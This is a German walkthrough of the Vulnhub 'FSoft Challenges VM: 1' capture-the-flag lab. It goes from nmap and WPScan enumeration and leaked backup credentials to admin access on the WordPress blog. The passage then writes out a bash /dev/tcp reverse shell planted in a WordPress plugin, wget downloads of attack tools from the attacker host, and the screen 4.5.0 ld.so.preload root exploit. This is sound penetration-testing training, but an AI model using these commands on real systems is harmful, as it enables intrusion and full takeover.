VM: FSoft Challenges VM: 1 – Vulnhub
Quelle: www.vulnhub.com
Ziel: Kontrolle übernehmen und root.txt auslesen.
Tools: LinEnum.sh, NMAP, DIRB, WPScan
Techniken: Netzwerk & Port Scan, Enumeration, Privilege Escalation, Exploit Using,
Schritt 1: Scanning
Voraussetzungen: VM ist gestartet, eine IP wurde durch DHCP zugewiesen.
Nachdem die VM gestartet und geladen wurde, müssen wir die IP von der VM ermitteln. Dabei hilft uns das Tool NMAP
welches beim Kali Linux schon vorinstalliert ist. Falls auf deinem System kein NMAP
installiert ist, kannst du es aus Repositorien oder von der Seite des Entwicklers herunterladen und installieren.
Mit dem Befehl nmap -PE -sn -oG - 192.168.178.1/24
scannen wir unser Netzwerk auf aktive Geräte, die auf ein Ping antworten. Als Netzwerkadresse muss du dein Netzwerkbereich eingeben.
Bei mir wurde der VM die IP 192.168.178.99
(rot markiert) zugewiesen.
Nachdem wir die IP von der VM ermittelt haben, können wir einen Port-Scan durchführen. Mit einem Port-Scan kann ermittelt werden welche Dienste auf der VM laufen. Das machen wir mit dem gleichen Tool nur mit anderem Parameter. nmap -p- -A 192.168.178.99
gibt uns alle offene Ports aus, die auf ein TCP Verbindungsversuch antworten.
Wie auf dem Bild zu sehen ist, wurden acht offene Ports ermittelt:
Port | Service |
21 | FTP |
22 | SSH |
53 | DNS |
80 | HTTP |
111 | RPC Bind (Portmapper) |
139 | SMB |
445 | SMB |
8314 | HTTP |
Wir werden nicht auf alle diese Ports eingehen, damit die Lösung nicht unnötig lang wird.
Schritt 2: Enumeration
Port 21 – FTP Server
Zu diesem Zeitpunkt können wir hier keine nützliche Information gewinnen.
Port 22 – SSH Server
Zu diesem Zeitpunkt können wir hier keine nützliche Information gewinnen.
Port 53 – DNS Server
Zu diesem Zeitpunkt können wir hier keine nützliche Information gewinnen.
Port 80 – HTTP Server
Hier wird es langsam interessanter. Wenn wir die IP in einen Web-Browser eingeben, sehen wir folgendes Bild.
Hier können wir ein Paar Informationen sammeln, ob wir die nutzen können sehen wir später. Interessanterweise wurde vom NMAP
die robots.txt
Datei nicht gefunden, obwohl sie existiert. Rufen wir sie einfach in dem Web-Browser auf: http://192.168.178.99/robots.txt
/backup
/images
/blog
/jenky
/data
/assets
/install
/prototypes
/locations
/choose1
Wie es aussieht es existieren mehrere Einträge, die wir natürlich weiter nutzen können.
/backup
– vier Dateien (passwd.bak
, secret.pcapng
, shadow.bak
, web_12032018-backup.zip
) die wir für die spätere Analyse herunterladen.
– vier Bilder. Momentan uninteressant.
/images
– eine
/blogWordPress
Installation. Sehen wir später mal an.
– leer
/jenky
– 404 Not found.
/data
– hier finden wir eine
/assetsadminer.php
Datei und ein Ordner css
. In dem Ordner /assets/css/img/opendocman
befindet sich eine neue Installation von opendocman
.
– 403 Forbidden.
/install
– 403 Forbidden.
/prototypes
– 403 Forbidden.
/locations
– 403 Forbidden.
/choose1
Ein zusätzlicher Scan mit DIRB
hat noch ein Paar weitere Ergebnisse geliefert.
/manual
– Apache 2 Handbuch /blog/wp-includes
– mehrere Dateien. Falsch konfigurierte Berechtigungen /blog/wp-admin/css/
– mehrere Dateien. Falsch konfigurierte Berechtigungen /blog/wp-admin/images/
– mehrere Dateien. Falsch konfigurierte Berechtigungen /blog/wp-admin/includes/
– mehrere Dateien. Falsch konfigurierte Berechtigungen /blog/wp-admin/js/
– mehrere Dateien. Falsch konfigurierte Berechtigungen
/blog/wp-admin/maint/
– mehrere Dateien. Falsch konfigurierte Berechtigungen
/blog/wp-content/plugins/
– mehrere Dateien. Falsch konfigurierte Berechtigungen
/blog/wp-content/themes/
– Falsch konfigurierte Berechtigungen /blog/wp-content/uploads/
– hier wurden in dem Unterordner 2019/11
drei weitere Dateien gefunden, die wir später Analysieren können (application-passwords-1.zip
, application-passwords.zip
, wp-editor-master.zip
)
Port 111 – RPC Bind
Zu diesem Zeitpunkt können wir hier keine nützliche Information gewinnen.
Port 139 – SMB Freigabe
Port 445 – SMB Freigabe
Zu diesem Zeitpunkt können wir hier keine nützliche Information gewinnen.
Port 8314 – HTTP Server
Hier läuft ein weiteres HTTP-Server. Die Startseite liefert uns dieselben Informationen wie auf dem Port 80. Auch die robots.txt
sieht ähnlich aus, bis auf den Backup Verzeichnis.
/backup2
/images
/blog
/jenky
/data
/assets
/install
/prototypes
/locations
/choose1
Beim Aufrufen des /backup2 Verzeichnisses wird direkt vorgeschlagen eine Datei herunterzuladen. Alle anderen Verzeichnisse werden nicht gefunden.
Schritt 3 – File Exploration
Jetzt, wo alle Ports geprüft wurden, versuchen wir weitere Informationen aus unseren Funden zu gewinnen. Fangen wir zuerst mit den heruntergeladenen Dateien.
passwd.bak
– es handelt sich dabei um einen Backup der passwd
Datei. Nützliche Informationen:
root:x:0:0:root:/root:/bin/bash
fsoft:x:1000:1000:Hacking Labs,,,:/home/fsoft:/bin/bash
shadow.bak
– es handelt sich dabei um einen Backup der shadow
Datei. Nützliche Informationen:
root:$6$Vecr/cwrJdZ1QPJ5$DdI9uFehxdWSZYHtuY3ymlOR.F8iHBA25wxgBASpNA9IxwQ8/KmqRUH1TMiKR9y4q234szzo0.UaHdn9YbG720:18223:0:99999:7:::
fsoft:$6$jxlMs60rp44NJWvf$b30I/W4R/NA8NcSSXF2CmpgXUshZbp7RcYSH0y6DorzH0vYMuIJqB23N4lxvLw1kyD29ytMJhwYza0cEcaDhN.:18223:0:99999:7:::
Hier könnte man versuchen die beide Passwörter zu Brute Forcen.
secret.pcapng
– hier handelt es sich um einen tcpdump. Leider wurde nichts Nützliches gefunden.
web_12032018-backup.zip
– eine Sicherung der CMSmini CMS. Unter /admin/config.php
wurden folgende Daten gefunden:
$admin_login = 'admin';
$admin_pass = 'admin@123';
application-passwords-1.zip
application-passwords.zip
– der Inhalt ist identisch. Keine nützlichen Informationen.
wp-editor-master.zip
– WordPress Plug-In WP-Editor. Keine nützlichen Informationen.
Sq3BTKPa
– eine WordPress Konfigurationsdatei. Nützliche Informationen sind die Zugangsdaten zu der Datenbank:
Schritt 4 – WordPress Exploration
Jetzt versuchen wir mehr Informationen aus der WordPress Installation zu gewinnen. Helfen wird uns dabei wie immer das Tool WPScan.
wpscan --url http://192.168.178.99/blog/ -e
WPScan liefert uns folgende Ergebnisse:
- Es existiert ein Backup der Konfiguration:
http://192.168.178.99/blog/wp-config.php.bak
- Es existieren 2 Benutzer:
admin
undfs0ft
- es existieren 4 Schwachstellen
Wenn wir das Backup der Konfiguration analysieren, finden wir weitere Zugangsdaten zu der Datenbank:
Ein Login Versuch mit uns bekannten Benutzer und Passwörter hat ergeben, dass ein Login mit dem Benutzer admin
und Passwort admin
möglich ist. Leider hat der Benutzer admin
keine Rechte in dem Admipanel. Für den Benutzer fs0ft
passte keins der Passwörter.
Schritt 5 – Exploration
Beim Schritt 2 fanden wir in dem /assets
Verzeichnis die adminer.php
und die opendocman
Installation. Versuchen wir unser Glück da.
Beim adminer.php
handelt es sich um eine Applikation zum Verwalten von Datenbanken. Versuchen wir hier unsere vorher gefundene Zugangsdaten.
Hier passten die Zugangsdaten, die wir in der Sq3BTKPa
Datei gefunden haben.
Variante 1
Bei dem Erkunden des Datenbanks finden wir eine Tabelle wp-cracked
in der wir weitere Zugangsdaten finden.
Mit diesen Zugangsdaten können wir uns in WordPress einloggen.
Variante 2
Alternativ könnte man in der Tabelle wp_user
das Passwort vom fs0ft
auf den uns bekannten Passwort vom admin
austauschen.
Hier muss nur der Wert in der Spalte user_pass
kopiert werden. Danach ist ein Login mit den Benutzerdaten fs0ft
/admin
möglich.
Schritt 6 – Reverse Shell
Da wir jetzt als Benutzer fs0ft
mit vollen Adminrechten in WordPress eingeloggt sind, können wir entweder eine PHP-Shell
oder eine Reverse-Shell
installieren. Dazu gehen wir in den Bereich Plugins
->
Plugin Editor
und editieren die index.php
Datei von dem Plugin
Hello Dolly
.
Dabei fügen wir folgender Code ein und speichern es ab:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.178.100/8888 0>&1'");
?>
Und aktivieren es anschließend.
Jetzt starten wir auf unserem Host netcat
welches dann auf eingehende Verbindungen wartet:
nc -lvp 8888
Mit dem Aufruf von http://192.168.178.99/blog/wp-content/plugins/hello-dolly/index.php
starten wir unsere Reverse Shell
.
Schritt 7 – Host Exploration & Privilege Escalation
Nachdem wir eine Verbindung aufgebaut haben, ist es an der Zeit den Host auf mögliche Schwachstellen zu prüfen. Dazu nutze ich das Skript LinEnum.sh
. Ich lade es von meinem Rechner herunter, kann aber auch direkt von github heruntergeladen werden.
wget 192.168.178.100:8000/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
Leider lieferte das Skript keine expliziten Treffer auf eine Schwachstelle. Was aber bei der Analyse der Ausgabe aufgefallen ist, dass im Abschnitt mit SUID
Dateien eine auffällige Datei mit dem Namen screen-4.5.0
sich befinden. Normalerweise steht keine Versionsnummer bei den Dateien.
Die Suche bei www.exploit-db.com
lieferte 2 Ergebnisse zu dieser Version von screen
.
Wir nutzen das Skript von Xiphos Research Ltd. Leider funktionierte das Skript nicht auf Anhieb, so dass ich es manuell nachmachen musste.
In dem Quellcode von dem Skript können wir sehen können, dass es zuerst zwei Dateien (libhax.so
und rootshell
) erstellt werden. Ich habe die Dateien auf meinem Rechner erstellt und dann per wget
auf die Ziel VM geladen. Danach wurde das Skript manuell wiederholt.
wget 192.168.178.100:8000/libhax.so
wget 192.168.178.100:8000/rootshell
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshellid
cd /root
ls
cat root.txt